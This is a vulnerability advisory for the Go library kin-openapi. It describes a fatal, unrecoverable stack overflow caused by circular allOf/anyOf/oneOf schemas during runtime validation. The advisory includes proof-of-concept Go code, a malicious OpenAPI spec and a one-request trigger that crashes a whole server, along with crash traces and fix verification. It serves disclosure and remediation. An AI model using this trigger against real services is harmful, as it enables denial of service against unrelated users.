kin-openapi: Uncontrolled Recursion on Circular allOf/anyOf/oneOf Schemas Causes Fatal Process Crash

Summary

kin-openapi's spec loader and spec-time validator both handle circular schema references safely: the loader resolves circular $refs on purpose (to support recursive data structures), and Schema.validate() uses stack-based cycle detection. Validate() therefore accepts a schema whose allOf / anyOf / oneOf chain refers back to itself, returning no error.

The runtime validators do not have that protection. When such a schema is used for request or response validation, the recursion through the combinator chain is unbounded. In Go this produces a fatal stack overflow (runtime: goroutine stack exceeds ... limit / fatal error: stack overflow), which is not a recoverable panic. recover() cannot catch it, so net/http's per-connection recovery does not help. The entire process is terminated, including all goroutines serving unrelated clients.

Two independent unguarded recursion sites were confirmed:

1. openapi3/schema.go — visitJSON / visitXOFOperations (reached by VisitJSON, i.e. response validation and direct schema validation).
2. openapi3filter/req_resp_decoder.go — decodeValue (reached first during request parameter decoding). The report also identifies the same gap in urlValuesDecoder.parseValue and buildResObj/buildFromSchemas.

Details

Root Cause

Schema.validate() has cycle detection (openapi3/schema.go:1396):

func (schema *Schema) validate(ctx context.Context, stack []*Schema) ([]*Schema, error) {
	if slices.Contains(stack, schema) {
		return stack, nil
	}
	// ...
	stack = append(stack, schema)

The runtime visitor has none. visitJSON (line 1951) calls visitXOFOperations (line 2189), which iterates the combinator slice and calls visitJSON again on each sub-schema:

func (schema *Schema) visitXOFOperations(settings *schemaValidationSettings, value any) (err error, run bool) {
	// ...
	for idx, item := range v { // v = schema.OneOf / AnyOf / AllOf
		v := item.Value
		// no check for item.Value == schema (or any ancestor)
		if err := v.visitJSON(settings, tempValue); err != nil { // recurses forever on a cycle

The request-decoding path has the same structure in decodeValue (openapi3filter/req_resp_decoder.go:270):

func decodeValue(dec valueDecoder, param string, sm *openapi3.SerializationMethod, schema *openapi3.SchemaRef, required bool) (any, bool, error) {
	if len(schema.Value.AllOf) > 0 {
		for _, sr := range schema.Value.AllOf {
			value, f, err = decodeValue(dec, param, sm, sr, required) // no cycle check

Proof of Concept

Environment

• kin-openapi v0.144.0 (tag v0.144.0, commit f0407d5)
• Go 1.26.7

Path A: response / direct schema validation (VisitJSON)

A schema whose allOf refers to itself. Validate() is called first to show the schema is accepted, then VisitJSON():

recursiveSchema := &openapi3.Schema{
	Type:       &openapi3.Types{"object"},
	Properties: openapi3.Schemas{"name": {Value: &openapi3.Schema{Type: &openapi3.Types{"string"}}}},
}
recursiveSchema.AllOf = openapi3.SchemaRefs{{Value: recursiveSchema}} // circular

_ = recursiveSchema.Validate(ctx)                       // accepted, no error
_ = recursiveSchema.VisitJSON(map[string]any{"name": "test"}) // crashes

Output:

Validate() ACCEPTED the circular schema (no error) -- spec-time cycle detection tolerates it
Calling VisitJSON() -- expect fatal stack overflow (unrecoverable)...
runtime: goroutine stack exceeds 1000000000-byte limit
fatal error: stack overflow

goroutine 1 [running]:
github.com/getkin/kin-openapi/openapi3.(*Schema).visitJSON(...)
	openapi3/schema.go:1951
github.com/getkin/kin-openapi/openapi3.(*Schema).visitXOFOperations(...)
	openapi3/schema.go:2309
github.com/getkin/kin-openapi/openapi3.(*Schema).visitJSON(...)
	openapi3/schema.go:1981
github.com/getkin/kin-openapi/openapi3.(*Schema).visitXOFOperations(...)
	openapi3/schema.go:2309
... (repeats until stack overflow)

A defer recover() placed around the call did not catch the fatal error — the process aborted with a non-zero exit code, confirming it is unrecoverable.

Path B: HTTP request validation against a loaded spec (realistic delivery)

A legal OAS 3.0 spec with a circular allOf $ref, loaded normally, served behind a standard net/http handler using openapi3filter.ValidateRequest:

openapi: '3.0.0'
info: { title: Circular allOf crash PoC, version: '1.0' }
paths:
  /test:
    get:
      parameters:
        - name: data
          in: query
          schema: { $ref: '#/components/schemas/Recursive' }
      responses: { '200': { description: OK } }
components:
  schemas:
    Recursive:
      type: object
      allOf:
        - $ref: '#/components/schemas/Recursive'
      properties:
        name: { type: string }

A single GET /test?data=x crashes the whole server process:

Validate() ACCEPTED the spec with circular allOf $ref
Sending GET /test?data=x through a real net/http server...
runtime: goroutine stack exceeds 1000000000-byte limit
fatal error: stack overflow
...
github.com/getkin/kin-openapi/openapi3filter.decodeValue(...)
	openapi3filter/req_resp_decoder.go:278
github.com/getkin/kin-openapi/openapi3filter.decodeValue(...)
	openapi3filter/req_resp_decoder.go:278
... (repeats until stack overflow)

The line printed after the request ("the process survived") was never reached, and the process exited with a non-zero code — the standard net/http per-connection recover() did not save it. This is the key distinction from a recoverable panic: a fatal stack overflow takes the entire process down regardless of host.

Fix verification

Adding stack-based cycle detection to both sites (matching validate()'s pattern) eliminated the crash:

• visitJSON guard: VisitJSON() returned normally instead of crashing.
• decodeValue guard: the same GET /test?data=x returned a clean 400:

Response: 400 "invalid: parameter \"data\" in query has an error: circular schema reference detected while decoding"
If you see this line, the process survived.

Impact

An unrecoverable, whole-process denial of service. Because the crash is a fatal Go runtime error (not a panic), it cannot be contained by net/http's per-request recovery, so A:H applies to all host types, unlike a recoverable-panic bug.

Attack surface, in order of exposure:

• Applications that load OpenAPI specs from untrusted or semi-trusted sources (API gateways, spec linters/validators, mock servers, documentation generators). An attacker supplies a spec containing a circular combinator, and any subsequent request/response validation crashes the service. This is the primary remote-attacker scenario.
• Applications serving a fixed, trusted spec that happens to contain a circular allOf/anyOf/oneOf. Here any client request to the affected endpoint crashes the process. The spec author does not need malicious intent; a degenerate recursive combinator is enough. This is a latent reliability bug that becomes remotely triggerable once present.